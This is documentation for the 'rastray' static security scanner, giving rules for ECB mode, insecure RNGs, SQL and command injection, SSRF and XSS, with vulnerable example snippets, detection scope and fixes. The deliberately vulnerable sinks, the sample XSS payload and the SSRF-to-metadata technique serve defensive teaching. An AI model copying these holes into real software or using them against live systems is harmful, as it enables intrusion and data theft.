Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
# Python (cryptography)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
aesgcm = AESGCM(key)             # 16/24/32-byte key
ct = aesgcm.encrypt(nonce, plaintext, aad)
// Go
import "crypto/aes"; import "crypto/cipher"

block, _ := aes.NewCipher(key)
gcm, _   := cipher.NewGCM(block)
ct       := gcm.Seal(nil, nonce, plaintext, aad)

References

RSTR-CRY-004 — ECB cipher mode

Summary

Electronic Codebook (ECB) encrypts every plaintext block independently with the same key. Identical plaintext blocks therefore produce identical ciphertext blocks — patterns in the plaintext (the famous ECB-penguin image) are visible in the ciphertext regardless of how strong the underlying cipher is.

ECB provides confidentiality of single blocks at best; it is never the right mode for application data.

Severity

High.

Languages

Java, Kotlin, Python.

What rastray flags

  • Java/Kotlin: Cipher.getInstance("AES/ECB/..."), Cipher.getInstance("DES/ECB/..."), etc.
  • Python: Crypto.Util.Cipher.MODE_ECB or AES.new(key, AES.MODE_ECB).

What rastray deliberately does not flag

  • GCM, CCM, CBC, CTR modes.
  • Stream ciphers (ChaCha20).

How to fix it

Use AES-GCM. It provides authenticated encryption (AEAD): confidentiality and integrity in one primitive, with a single per-message nonce:

// Java
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, key,
    new GCMParameterSpec(128, nonce));
byte[] ct = cipher.doFinal(plaintext);
# Python (cryptography)
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

aesgcm = AESGCM(key)
ct = aesgcm.encrypt(nonce, plaintext, aad)

Never reuse a (key, nonce) pair with GCM — generate the nonce from a counter or os.urandom(12) per message.

References

RSTR-CRY-005 — Math.random() used for security

Summary

Math.random() is not a cryptographically secure RNG. Its output is fully predictable from a small handful of observed samples. Using it to generate session tokens, password-reset codes, OAuth nonces, API keys, or any other security-sensitive value lets an attacker forge those values offline.

Severity

Medium. (We picked Medium over High because the rule fires at every Math.random() site and not all of them are security-relevant; when the value is in fact a token, it is unambiguously critical.)

Languages

JavaScript, TypeScript.

What rastray flags

Any Math.random() call:

const token = Math.random().toString(36).slice(2);   // ← flagged

What rastray deliberately does not flag

  • crypto.randomUUID(), crypto.getRandomValues(...), crypto.randomBytes(...).

How to fix it

Use the platform-provided CSPRNG:

// Browser
const arr = new Uint8Array(16);
crypto.getRandomValues(arr);
const token = Array.from(arr, b => b.toString(16).padStart(2, '0')).join('');

// or, even simpler:
const token = crypto.randomUUID();          // available in modern browsers and Node 19+
// Node
import { randomBytes, randomUUID } from 'crypto';

const token = randomBytes(16).toString('hex');
const id    = randomUUID();

For non-security uses — animation jitter, sampling, shuffles in a single-player game — Math.random() is fine. If a finding is in clearly non-security code, suppress it per-line with a comment.

References

RSTR-CRY-006 — Python random / Go math/rand for security

Summary

Python's stdlib random module and Go's math/rand are designed for statistical work, not cryptography. Both are Mersenne-Twister-based and fully predictable from a few observed outputs — fine for sampling and simulation, fatal for token generation.

Severity

Medium. Same nuance as RSTR-CRY-005 — fires broadly because the language has no other signal that the value will be a token.

Languages

Python, Go.

What rastray flags

import random
token = random.choices('abcdef0123456789', k=32)        # ← flagged
nonce = random.randint(0, 2**32)                         # ← flagged
import "math/rand"
n := rand.Int31()                                        // ← flagged

What rastray deliberately does not flag

  • Python secrets module: secrets.token_hex(16), secrets.choice(seq).
  • Go crypto/rand: rand.Read(buf), rand.Int(rand.Reader, max).

How to fix it

Python — use secrets:

import secrets

token = secrets.token_urlsafe(32)         # 256-bit URL-safe
pwd   = secrets.token_hex(16)             # 128-bit hex
pin   = secrets.choice(range(10**6))      # 6-digit numeric

Go — use crypto/rand:

import "crypto/rand"

buf := make([]byte, 16)
if _, err := rand.Read(buf); err != nil {
    return err
}
token := hex.EncodeToString(buf)

For non-security purposes (a/b-testing bucket, scheduling jitter, shuffling a deck for a non-money game) the stdlib RNGs are correct; suppress the finding with a comment.

References

RSTR-CRY-007 — Rust rand::thread_rng() for security

Summary

The rand crate's thread_rng() returns the per-thread default RNG. As of rand 0.7+ it is seeded from the OS CSPRNG, but the output stream is not specified to be cryptographically secure across crate versions, and historically the type behind thread_rng() has changed. For tokens, keys, nonces, and any other security-sensitive use, always use OsRng (or getrandom directly) so the guarantee is explicit and stable across rand releases.

Severity

Medium.

Languages

Rust.

What rastray flags

#![allow(unused)]
fn main() {
use rand::Rng;

let token: u64 = rand::thread_rng().gen();       // ← flagged
}

What rastray deliberately does not flag

  • rand::rngs::OsRng.
  • getrandom::getrandom(&mut buf).
  • ring::rand::SystemRandom::new().

How to fix it

#![allow(unused)]
fn main() {
use rand::rngs::OsRng;
use rand::RngCore;

let mut buf = [0u8; 32];
OsRng.fill_bytes(&mut buf);
}

Or with getrandom directly (zero deps):

#![allow(unused)]
fn main() {
let mut buf = [0u8; 32];
getrandom::getrandom(&mut buf).expect("entropy unavailable");
}

For UUIDs:

#![allow(unused)]
fn main() {
use uuid::Uuid;
let id = Uuid::new_v4();      // backed by getrandom
}

References

RSTR-INJ-001 — SQL injection via f-string / template literal

Summary

SQL is built by interpolating user-controlled values into a string with Python f-string or JS template-literal syntax, then passed to a .execute(...) / .query(...) / .executemany(...) call. This is SQL injection — one of the oldest and still most common high-impact web bugs.

Severity

High.

Languages

Python, JavaScript / TypeScript.

What rastray flags

A call to cursor.execute(...) / cursor.executemany(...) (Python) or db.query(...) / db.execute(...) (Node) whose argument is an f-string or template literal containing a {...} / ${...} interpolation.

cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")   # ← flagged
db.query(`SELECT * FROM users WHERE id = ${userId}`);          // ← flagged

How to fix it

Use parameterised queries:

cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
db.query('SELECT * FROM users WHERE id = ?', [userId]);

Or use an ORM that builds parameterised queries for you (SQLAlchemy, Django ORM, Prisma, Sequelize).

References

RSTR-INJ-002 — Python subprocess(shell=True) / os.system

Summary

Calling subprocess.run (or .call / .Popen) with shell=True — or using os.system — runs the argument through /bin/sh. Any attacker-controlled substring is then interpreted as shell syntax, so ;, &&, $(...), backticks, redirections, and globbing all work against you.

Severity

High.

Languages

Python.

What rastray flags

import subprocess, os

subprocess.run(f'ls {path}', shell=True)         # ← flagged
subprocess.Popen(cmd, shell=True)                # ← flagged
os.system('curl ' + url)                          # ← flagged

What rastray deliberately does not flag

  • subprocess.run(['ls', path]) — argv form, no shell.
  • subprocess.run('ls', shell=False) — explicit opt-out.

How to fix it

Pass an argv list and leave shell=False (the default):

import subprocess

subprocess.run(['ls', path], check=True)
subprocess.run(['curl', '--fail', url], check=True)

If you genuinely need shell features (pipes, here-docs), build the command from constants and quote any variable parts with shlex.quote:

import shlex, subprocess

cmd = f'tar czf - {shlex.quote(path)} | gpg --encrypt -r {shlex.quote(recipient)}'
subprocess.run(cmd, shell=True, check=True)

Still — the argv form is almost always better; reach for the shell only when the pipeline structure cannot be expressed without it.

References

RSTR-INJ-003 — eval / exec / new Function — dynamic code execution

Summary

The application evaluates a string as code at runtime. If any part of that string is influenced by request input, the attacker controls the program counter — an immediate full RCE. Even when the input is trusted, dynamic evaluation defeats every static analyzer (rastray, the type-checker, the IDE), so the trade-off is rarely worth it.

Severity

Critical when the input may be user-controlled; High otherwise.

Languages

Python, JavaScript, TypeScript, PHP.

What rastray flags

  • Python: eval(...), exec(...), compile(...) followed by eval/exec.
  • JavaScript / TypeScript: eval(...), new Function(...), setTimeout(stringArg, ...), setInterval(stringArg, ...).
  • PHP: eval(...), assert($x) with a string argument.

What rastray deliberately does not flag

  • JSON.parse(...) — structured data, not code.
  • Function(...) calls used purely for static reflection (Function.prototype.toString).
  • AST evaluators in a sandbox (vm2, tiny-eval etc.) — they have separate threat models; the rule's blanket flag is still warranted, suppress with an explanatory comment.

How to fix it

Replace dynamic evaluation with a parser / dispatcher:

# Bad — math expressions from user input
result = eval(request.args['expr'])

# Good — expression parser library
from simpleeval import simple_eval
result = simple_eval(request.args['expr'])

For JS configuration that historically motivated new Function, the modern alternatives are JSON, YAML, or a typed schema:

// Bad — interpret arbitrary user JS
const transform = new Function('row', userJs);

// Good — accept a small DSL
const transform = compileTransform(parseDsl(userDsl));

If you must keep eval, severely restrict the input grammar at the boundary and document the threat model in source.

References

RSTR-INJ-004 — Node child_process.exec with template literal

Summary

child_process.exec (and execSync) runs its command through /bin/sh. When the command is built with template-literal interpolation or string concatenation, any attacker-controlled substring is interpreted as shell syntax — the standard command-injection vulnerability.

Severity

High.

Languages

JavaScript, TypeScript.

What rastray flags

const { exec } = require('child_process');

exec(`ls ${path}`);                                 // ← flagged
exec('curl ' + url);                                // ← flagged
execSync(`tar czf - ${dir}`);                       // ← flagged

What rastray deliberately does not flag

  • execFile(file, [args]) — no shell.
  • spawn(cmd, [args]) — no shell.
  • exec('ls') with a constant string.

How to fix it

Use execFile or spawn with an argv array:

const { execFile, spawn } = require('child_process');

execFile('ls', [path], (err, stdout) => { ... });

spawn('tar', ['czf', '-', dir]);

If you need shell features (pipes, redirections), build the command from constants and quote each variable with a safe quoter:

import { quote } from 'shell-quote';

const cmd = `tar czf - ${quote([path])} | gpg --encrypt -r ${quote([recipient])}`;
exec(cmd);

shell-quote (or shlex on the Python side) does what shellescape does in safer shells.

References

RSTR-INJ-005 — Go exec.Command("sh", "-c", ...)

Summary

exec.Command is being invoked with a shell wrapper — sh -c, bash -c, or cmd /c — so the second argument is interpreted as a shell line. Any attacker-controlled substring becomes shell syntax. Go's stdlib already protects you against this by accepting an argv list; the shell wrapper specifically opts back into the dangerous form.

Severity

High.

Languages

Go.

What rastray flags

exec.Command("sh", "-c", "ls " + path)            // ← flagged
exec.Command("bash", "-c", fmt.Sprintf("tar czf - %s", path))   // ← flagged
exec.Command("cmd", "/c", "dir " + path)          // ← flagged (Windows)

What rastray deliberately does not flag

  • exec.Command("ls", path) — argv form, no shell.
  • exec.Command("/usr/bin/curl", "-fsSL", url).

How to fix it

Drop the shell wrapper and pass arguments as separate strings — that is the safe form, no escaping required:

cmd := exec.Command("ls", path)
out, err := cmd.Output()
cmd := exec.Command("tar", "czf", "-", path)

If you genuinely need pipes or redirections, compose them in Go rather than letting the shell parse the command. io.Pipe plus two exec.Commands achieves a pipeline cleanly:

r, w := io.Pipe()
tar := exec.Command("tar", "czf", "-", path)
tar.Stdout = w
gpg := exec.Command("gpg", "--encrypt", "-r", recipient)
gpg.Stdin = r
// run both, close w when tar exits

References

RSTR-INJ-006 — PHP SQL query built from request superglobal

Summary

A PHP database call (mysqli_query, pg_query, $pdo->query(), etc.) concatenates $_GET[...], $_POST[...], $_REQUEST[...], or $_COOKIE[...] directly into the SQL string. Classic SQL injection — an attacker submits ' OR 1=1 -- and reads or rewrites the entire table.

Severity

Critical.

Languages

PHP.

What rastray flags

Procedural API:

$rows = mysqli_query($db,
    "SELECT * FROM users WHERE id = " . $_GET['id']);    // ← flagged
pg_query($conn,
    "DELETE FROM orders WHERE name = '" . $_POST['name'] . "'");  // ← flagged

Object-style PDO / mysqli:

$rows = $pdo->query(
    "SELECT * FROM logs WHERE pat = '" . $_REQUEST['pat'] . "'");  // ← flagged

What rastray deliberately does not flag

  • Calls where the SQL is a constant string with no superglobal interpolation.
  • Calls where the value flows through an intermediate variable (consistent with how every other rastray rule scopes its pattern match).
  • Prepared-statement use: $pdo->prepare(...) + ->execute([...]).

How to fix it

Use prepared statements with placeholders. With PDO:

$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id');
$stmt->execute(['id' => $_GET['id']]);
$rows = $stmt->fetchAll();

With mysqli:

$stmt = mysqli_prepare($db, 'SELECT * FROM users WHERE id = ?');
mysqli_stmt_bind_param($stmt, 'i', $_GET['id']);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

For Postgres (pg_query_params):

$result = pg_query_params(
    $conn,
    'SELECT * FROM orders WHERE name = $1',
    [$_POST['name']]
);

Placeholders are the only safe form. Sanitising with mysqli_real_escape_string helps but is easy to misuse (it does not escape numeric contexts, table names, or column names); prepared statements remove the foot-gun.

References

RSTR-INJ-007 — PHP command exec on request superglobal

Summary

A PHP shell-out function (exec, system, shell_exec, passthru, popen, proc_open, pcntl_exec) or the backtick operator runs a command built from $_GET, $_POST, $_REQUEST, or $_COOKIE. An attacker injects ; / && / $(...) and runs arbitrary OS commands as the web user.

Severity

Critical.

Languages

PHP.

What rastray flags

exec("ping -c 4 " . $_GET['host']);                   // ← flagged
system("ls " . $_POST['dir']);                        // ← flagged
shell_exec("grep " . $_REQUEST['q'] . " /var/log/syslog");  // ← flagged
passthru("zip -r out.zip " . $_GET['target']);        // ← flagged
$out = `ls -la $_GET[d]`;                              // ← flagged (backticks)

What rastray deliberately does not flag

  • Constant-string commands: exec('/usr/bin/uptime').
  • Indirect flow ($host = $_GET['host']; exec("ping $host") — same one-step taint scope as the rest of rastray).
  • Arguments passed via escapeshellarg(...) inside the call. The rule still fires (the regex cannot inspect arguments); suppress per-line if you can prove the escape is correct.

How to fix it

The reliable answer is don't shell out. PHP has libraries for common tasks (gethostbyname for DNS, Imagick for image work, etc.). When you must, build the command from a fixed allow-list and quote variable parts with escapeshellarg:

$ALLOWED_HOSTS = ['example.com', 'api.example.com'];

if (!in_array($_GET['host'], $ALLOWED_HOSTS, true)) {
    http_response_code(400);
    exit;
}

$out = shell_exec('ping -c 4 ' . escapeshellarg($_GET['host']));

escapeshellarg puts the value inside single quotes and escapes any existing single quotes, so shell metacharacters lose their meaning. It is not a substitute for an allow-list, just defence in depth.

How to suppress

If the call is genuinely safe after explicit escaping or because the input source is trusted:

// rastray-ignore: RSTR-INJ-007 — internal cron, $_REQUEST is loopback-only
exec('rsync -a ' . escapeshellarg($_REQUEST['src']) . ' /backup/');

References

RSTR-INJ-008 — Rails .where("... #{params[...]} ...")

Summary

A Rails ActiveRecord query method (.where, .find_by_sql, .update_all, .delete_all, etc.) is called with a string-interpolated SQL fragment that contains params[...]. Ruby evaluates the #{...} substitution before the string reaches ActiveRecord, so the database sees an attacker-controlled query — classic SQL injection.

ActiveRecord's hash form (.where(id: params[:id])) and the positional form (.where("id = ?", params[:id])) both delegate to prepared statements and are safe.

Severity

Critical.

Languages

Ruby (Rails).

What rastray flags

User.where("id = '#{params[:user][:id]}'")                # ← flagged
User.find_by_sql("SELECT * FROM users WHERE id = #{params[:id]}")  # ← flagged
Order.update_all("status = '#{params[:s]}'")              # ← flagged

What rastray deliberately does not flag

Safe ActiveRecord forms:

User.where(id: params[:id])                                  # hash form
User.where("id = ?", params[:id])                            # positional
User.where("id = :id", id: params[:id])                      # named

These compile to prepared statements; the value never reaches the SQL parser as code.

How to fix it

Use one of the two parameterised forms:

# Hash form (preferred when matching one column)
User.where(id: params[:id])

# Positional form (when you need a custom predicate)
User.where("name LIKE ?", "%#{params[:q]}%")

# Named placeholders for multi-column queries
User.where("name LIKE :q OR email LIKE :q", q: "%#{params[:q]}%")

For more complex queries, build the query progressively:

scope = User.all
scope = scope.where(role: params[:role])        if params[:role].present?
scope = scope.where("created_at >= ?", since)   if since.present?
scope.order(:name)

Even when the value looks "safe" (a number, a UUID), use the parameterised form. Type coercion happens at the binding layer and removes any ambiguity.

References

RSTR-INJ-009 — Rails params[:x].constantize / .classify / .safe_constantize

Summary

A Rails handler resolves a class by calling .constantize, .safe_constantize, or .classify on a request parameter. An attacker who controls the string can instantiate any class in the autoload namespace — including ones whose initialize / _load / inherited hooks have dangerous side effects. The "mobile API" pattern of "deserialize whatever class the client names" historically led to RCE via gadget chains in several published Rails advisories.

Severity

High.

Languages

Ruby (Rails).

What rastray flags

model = params[:class].constantize                  # ← flagged
klass = params[:kind].safe_constantize              # ← flagged
model = params[:type].classify                      # ← flagged

What rastray deliberately does not flag

Allow-list resolution:

ALLOWED = { 'user' => User, 'admin' => AdminUser, 'guest' => GuestUser }
klass = ALLOWED.fetch(params[:kind]) { raise ActionController::BadRequest }
klass = case params[:kind]
        when 'user'  then User
        when 'admin' then AdminUser
        end

.constantize on a constant or a non-params source is also not flagged.

How to fix it

Resolve through an allow-list. The hash-with-fetch idiom above is the canonical pattern; the case-statement form is equally fine. Both ensure only classes the developer intended are reachable.

If the parameter is supposed to be one of a small fixed set, just do an explicit comparison rather than reflection:

if %w[user admin guest].include?(params[:kind])
  # safe to use params[:kind] in a query, but still construct
  # the class explicitly elsewhere
end

References

RSTR-INJ-010 — Rails render inline: / text: with params interpolation

Summary

A Rails controller calls render with inline: (or the deprecated text:) and the supplied string contains a #{params[...]} interpolation. Ruby substitutes the request value into the template source before the renderer parses it, so the attacker controls the template — server-side template injection (SSTI), which usually escalates to RCE through ERB's <%= ... %> evaluation.

Severity

Critical.

Languages

Ruby (Rails).

What rastray flags

render inline: "<h1>Hi #{params[:name]}</h1>"             # ← flagged
render(text: "Hello #{params[:name]}")                    # ← flagged
render inline_template: "<%= #{params[:expr]} %>"         # ← flagged

What rastray deliberately does not flag

Render a fixed template and pass user input as locals::

render :show, locals: { name: params[:name] }             # safe
render template: 'users/show', locals: { name: params[:name] }   # safe

How to fix it

Always render a template that ships with the application; never let user input become the template source. Pass values as locals: and let ERB's auto-escaping handle the output:

# app/views/users/show.html.erb
# <h1>Hi <%= name %></h1>

def show
  render :show, locals: { name: params[:name] }
end

For one-off responses, render plain strings without interpolation:

render plain: "Hello, #{ERB::Util.h(params[:name])}"      # also flagged but safe

Even the plain-string form above is still flagged because the rule cannot prove the escape is correct; if you adopt that pattern intentionally, suppress per-line.

References

RSTR-SSRF-001 — fetch/axios with request input

Summary

A server-side HTTP request is built from request input that the caller never validates. An attacker can substitute a URL that points at internal infrastructure (http://localhost:6379, http://169.254.169.254 cloud metadata, internal admin panels) and either exfiltrate the response or use the server as a confused-deputy proxy.

This is server-side request forgery (SSRF), CWE-918.

Severity

High. SSRF in cloud workloads can read IAM credentials from the metadata endpoint, leading directly to privilege escalation.

Languages

JavaScript, TypeScript (and their JSX / TSX / .mjs / .cjs variants).

What rastray flags

The first argument of fetch(...), axios.get(...), axios.post(...), axios.put(...), axios.patch(...), axios.delete(...), axios.head(...), axios.options(...), or axios.request(...) is a direct property access on req.body.*, req.query.*, req.params.*, req.cookies.*, or req.headers.*.

True-positive example:

app.get('/proxy', async (req, res) => {
  const r = await fetch(req.body.url);   // ← flagged
  res.send(await r.text());
});
const r = await axios.get(req.query.next);   // ← flagged

What rastray deliberately does not flag

Indirect flow via a local variable. The rule requires the request expression to appear directly in the sink:

const url = req.body.url;
const r = await fetch(url);                  // ← not flagged

This is the same conservative scope used by every other rastray security rule. Multi-step taint flow is what CodeQL and Semgrep Pro do; rastray catches the common 80% where the dangerous value is right there in the call.

Literal URLs:

const r = await fetch('https://api.github.com/repos/x/y');   // ← not flagged

Validated values:

const safe = new URL(req.body.url);
if (!ALLOWED_HOSTS.has(safe.hostname)) throw new Error('blocked');
const r = await fetch(safe);                  // ← not flagged

Why the finding message looks the way it does

Every RSTR-SSRF-001 finding interpolates the matched call:

RSTR-SSRF-001: fetch(req.body.url) issues an HTTP request to a URL taken from request input — SSRF risk

If you have 50 SSRF findings in one report, all 50 messages are distinguishable because each shows the exact call that matched, not a generic template.

How to fix it

Option 1 — allow-list the host:

const ALLOWED_HOSTS = new Set([
  'api.example.com',
  'cdn.example.com',
]);

const target = new URL(req.body.url);
if (!ALLOWED_HOSTS.has(target.hostname)) {
  return res.status(400).send('host not allowed');
}
const r = await fetch(target);

Option 2 — route through a hardened proxy that strips inbound URLs and only fetches from a known set of upstreams.

Option 3 — eliminate the feature. Most "fetch arbitrary URL on behalf of the user" features can be replaced with a client-side <iframe> or a server-side fetch from a catalog rather than a free-form URL.

How to suppress this finding

Only if the URL is genuinely safe — for example, a private API where the caller is already authenticated and you've sanitised the host against an allow-list inside a helper the rule can't see across.

// rastray-ignore: RSTR-SSRF-001
const r = await safeFetch(req.body.url);

Or project-wide in .rastray.toml:

[rules]
"RSTR-SSRF-001" = { severity = "low" }   # downgrade to informational

References

RSTR-SSRF-002 — Node http/https request with request input

Summary

The same SSRF class as RSTR-SSRF-001, expressed via Node's lower-level http / https core modules instead of fetch or axios. An attacker controls the URL, the server makes the request, and internal or cloud-metadata endpoints become reachable through the application.

Severity

High.

Languages

JavaScript, TypeScript.

What rastray flags

http.get, http.request, https.get, https.request with the URL argument taken directly from req.body.*, req.query.*, req.params.*, req.headers.*, or req.cookies.*:

const http = require('http');

app.get('/proxy', (req, res) => {
  http.get(req.query.url, upstream => upstream.pipe(res));  // ← flagged
});
https.request(req.body.target, opts, cb).end();             // ← flagged

What rastray deliberately does not flag

  • Literal URL arguments.
  • Indirect flow (const url = req.query.url; http.get(url)) — same conservative scope as every other rastray taint rule.
  • URLs constructed via new URL(req.query.url, BASE) where BASE is a fixed origin that the rule cannot evaluate. Suppress that case if the path component is also validated.

How to fix it

Same playbook as RSTR-SSRF-001:

  1. Parse the URL with new URL(...).
  2. Allow-list the hostname against a fixed Set.
  3. Reject any URL that resolves to a private, loopback, or link-local address before making the upstream request.
const ALLOWED = new Set(['api.example.com', 'cdn.example.com']);

app.get('/proxy', (req, res) => {
  let target;
  try { target = new URL(req.query.url); }
  catch { return res.status(400).end(); }
  if (!ALLOWED.has(target.hostname)) return res.status(400).end();
  https.get(target, upstream => upstream.pipe(res));
});

References

RSTR-SSRF-003 — Python requests / urlopen with request input

Summary

Python equivalent of RSTR-SSRF-001. The application performs a server-side HTTP call where the URL is sourced directly from request attributes.

Severity

High. In cloud workloads, an attacker can read the IAM-role metadata endpoint and pivot to full account compromise.

Languages

Python.

What rastray flags

requests.get / requests.post / requests.put / requests.patch / requests.delete / requests.head / requests.options / requests.request, plus urllib.request.urlopen, when the URL is request.args[...], request.form[...], request.json[...], request.values[...], request.GET[...], request.POST[...], or request.data[...]:

@app.route('/proxy')
def proxy():
    return requests.get(request.args['url']).text   # ← flagged
def view(request):
    body = urlopen(request.GET['next']).read()      # ← flagged

What rastray deliberately does not flag

  • Literal URLs.
  • URLs assigned to a local first, then passed to requests — same one-step taint scope as the rest of rastray.
  • requests.Session() configured with a fixed base_url (rare in practice but appears in some clients).

How to fix it

Validate the target host before making the outbound call:

from urllib.parse import urlparse
import ipaddress, socket

ALLOWED_HOSTS = {'api.example.com', 'cdn.example.com'}

def fetch_safe(url: str) -> bytes:
    parsed = urlparse(url)
    if parsed.scheme not in {'http', 'https'}:
        raise ValueError('only http(s) allowed')
    if parsed.hostname not in ALLOWED_HOSTS:
        raise ValueError('host not allow-listed')
    # belt-and-suspenders: resolve and reject private IPs
    ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
    if ip.is_private or ip.is_loopback or ip.is_link_local:
        raise ValueError('private destination')
    return requests.get(url, timeout=5, allow_redirects=False).content

allow_redirects=False matters — without it, an allow-listed host can redirect the request into the metadata endpoint.

References

RSTR-SSRF-004 — Go http.Get / http.NewRequest with request input

Summary

Go equivalent of RSTR-SSRF-001. A handler issues an outbound HTTP call where the URL is read from the request via r.FormValue / r.URL.Query().Get / mux.Vars(r).

Severity

High.

Languages

Go.

What rastray flags

http.Get, http.Head, http.Post, http.PostForm, http.NewRequest, and http.NewRequestWithContext when the URL argument is fed directly by r.FormValue(...), r.URL.Query().Get(...), or similar request accessors:

func proxy(w http.ResponseWriter, r *http.Request) {
    resp, err := http.Get(r.URL.Query().Get("url"))   // ← flagged
    ...
}
req, _ := http.NewRequest("POST",
    r.FormValue("target"), body)                       // ← flagged

What rastray deliberately does not flag

  • Literal URLs.
  • A URL stored in an intermediate variable.
  • URLs built via url.URL{Scheme:"https", Host: ALLOWED_HOST, Path: ...} where only the path comes from the request.

How to fix it

Allow-list the destination host and block private/metadata IPs:

var allowed = map[string]struct{}{
    "api.example.com": {},
    "cdn.example.com": {},
}

func safeGet(raw string) (*http.Response, error) {
    u, err := url.Parse(raw)
    if err != nil || (u.Scheme != "http" && u.Scheme != "https") {
        return nil, errors.New("bad url")
    }
    if _, ok := allowed[u.Hostname()]; !ok {
        return nil, errors.New("host not allowed")
    }
    addrs, err := net.LookupIP(u.Hostname())
    if err != nil {
        return nil, err
    }
    for _, ip := range addrs {
        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
            return nil, errors.New("private destination")
        }
    }
    client := &http.Client{
        Timeout: 5 * time.Second,
        CheckRedirect: func(_ *http.Request, _ []*http.Request) error {
            return http.ErrUseLastResponse  // do not follow
        },
    }
    return client.Get(raw)
}

References

RSTR-XSS-001 — reflected XSS via res.send / res.end / res.write

Summary

An Express handler writes a value from req.body.*, req.query.*, req.params.*, req.cookies.*, or req.headers.* directly into the HTTP response via res.send(...), res.end(...), or res.write(...). An attacker can supply <script>alert(1)</script> (or something less obvious) and the browser will execute it as HTML.

Severity

High.

Languages

JavaScript, TypeScript (and JSX / TSX / .mjs / .cjs).

How to fix it

Send JSON instead of HTML when possible:

res.json({ greeting: req.body.greeting });

Or HTML-escape:

import he from 'he';
res.send(`<p>${he.encode(req.body.greeting)}</p>`);

Don't write a custom escaper — he and similar libraries handle the edge cases (entity references, surrogate pairs, context-specific encoding).

References

RSTR-XSS-002 — DOM-based XSS via innerHTML / outerHTML

Summary

A DOM property (.innerHTML or .outerHTML) is assigned from a browser-supplied source like location.hash, window.name, document.cookie, or document.referrer. Anyone who can craft a URL the victim visits can run arbitrary JS in their browser.

Severity

High.

Languages

JavaScript, TypeScript (and JSX / TSX / .mjs / .cjs).

How to fix it

Use .textContent instead — it never parses HTML:

el.textContent = location.hash;   // ← safe

Or, if HTML rendering is genuinely required, sanitise with DOMPurify first:

import DOMPurify from 'dompurify';
el.innerHTML = DOMPurify.sanitize(location.hash);

Never write a custom HTML sanitiser. The list of edge cases is enormous (SVG, MathML, mutation XSS, mXSS in legacy browsers) and only well-maintained libraries keep up.

References

RSTR-XSS-003 — document.write with attacker-controlled DOM data

Summary

document.write (or document.writeln) is called with a string built from window.location.*, document.referrer, document.URL, or similar URL-bar / referrer sources — all directly controllable by an attacker via a crafted link. The HTML is parsed in the page's origin, yielding DOM-based XSS.

Severity

High. Indistinguishable from reflected XSS in impact.

Languages

JavaScript, TypeScript.

What rastray flags

document.write(location.search);              // ← flagged
document.writeln(document.referrer);          // ← flagged
document.write('<h1>' + location.hash + '</h1>');  // ← flagged

What rastray deliberately does not flag

  • document.write(staticString) with a literal argument.
  • document.write(value) where value is computed from a server response — those go through RSTR-XSS-001 / RSTR-XSS-002 paths.
  • document.write of values that were first run through a sanitiser (DOMPurify, escapeHtml). The rule cannot see across calls; if the data was sanitised, suppress per-line.

How to fix it

Stop using document.write entirely. Modern alternatives:

  • For text: element.textContent = ... (safe; no HTML parsing).
  • For attributes: element.setAttribute('href', ...).
  • For controlled markup: element.innerHTML = DOMPurify.sanitize(html).

If you must accept HTML, sanitise it explicitly:

import DOMPurify from 'dompurify';
container.innerHTML = DOMPurify.sanitize(untrusted, { USE_PROFILES: { html: true } });

Note that document.write after the page has loaded silently wipes the entire document — there is no production scenario where it is the right primitive.

References

RSTR-XSS-004 — Flask Markup(...) / direct return with request input

Summary

A Flask handler returns request input as part of the HTTP response without HTML-escaping it, either by wrapping it in Markup(...) (which disables Jinja's auto-escaping) or by returning the value as part of a hand-built HTML string.

The browser parses the response in the application's origin, so any HTML the attacker submits — including <script> tags or event handlers — runs there.

Severity

High.

Languages

Python (Flask / Quart).

What rastray flags

@app.route('/echo')
def echo():
    return Markup(f'<h1>{request.args["msg"]}</h1>')     # ← flagged

@app.route('/raw')
def raw():
    return '<p>Hi, ' + request.args['name'] + '</p>'     # ← flagged

What rastray deliberately does not flag

  • return render_template('echo.html', msg=request.args['msg']) — Jinja auto-escapes by default.
  • Values returned through jsonify(...) — JSON, not HTML.
  • Values explicitly passed through markupsafe.escape(...) first.

How to fix it

Use Jinja templates and let auto-escaping handle the data:

# templates/echo.html
# <h1>{{ msg }}</h1>

@app.route('/echo')
def echo():
    return render_template('echo.html', msg=request.args['msg'])

If you need a string response, escape explicitly:

from markupsafe import escape

@app.route('/raw')
def raw():
    return f'<p>Hi, {escape(request.args["name"])}</p>'

Markup(...) is the promise "I have already escaped this; treat it as trusted HTML." Only use it on values you yourself produced from safe sources.

References

RSTR-XSS-005 — Go HTTP response writes with request input

Summary

A Go HTTP handler writes request-derived data into the response with fmt.Fprintf, io.WriteString, or w.Write([]byte(...)) — no HTML escaping in between. The browser receives the attacker's input as part of an HTML page rendered in the application's origin.

Severity

High.

Languages

Go.

What rastray flags

func hello(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "<h1>Hi %s</h1>",
        r.URL.Query().Get("name"))                  // ← flagged
}
io.WriteString(w, "<p>"+r.FormValue("msg")+"</p>") // ← flagged

What rastray deliberately does not flag

  • Writes that go through html/template (auto-escaping).
  • json.NewEncoder(w).Encode(...) — JSON, not HTML.
  • Writes of literal strings.

How to fix it

Use html/template — Go's stdlib renderer is context-aware and escapes correctly per HTML/JS/URL context:

import "html/template"

var helloTmpl = template.Must(template.New("hi").Parse(
    `<h1>Hi {{ .Name }}</h1>`))

func hello(w http.ResponseWriter, r *http.Request) {
    helloTmpl.Execute(w, struct{ Name string }{r.URL.Query().Get("name")})
}

For one-off writes, escape explicitly:

import "html"

fmt.Fprintf(w, "<p>%s</p>", html.EscapeString(r.FormValue("msg")))

text/template does not escape — use it only for non-HTML output.

References

RSTR-XSS-006 — PHP echo / print of request superglobal

Summary

A PHP page writes $_GET[...], $_POST[...], $_REQUEST[...], or $_COOKIE[...] directly into the HTTP response via echo, print, or the short-echo <?= ?> form. No HTML escaping in between — the attacker's input is parsed as HTML in the page's origin, yielding reflected (and sometimes stored) XSS.

Severity

High.

Languages

PHP.

What rastray flags

<?php echo $_GET['name']; ?>                                 <!-- ← flagged -->
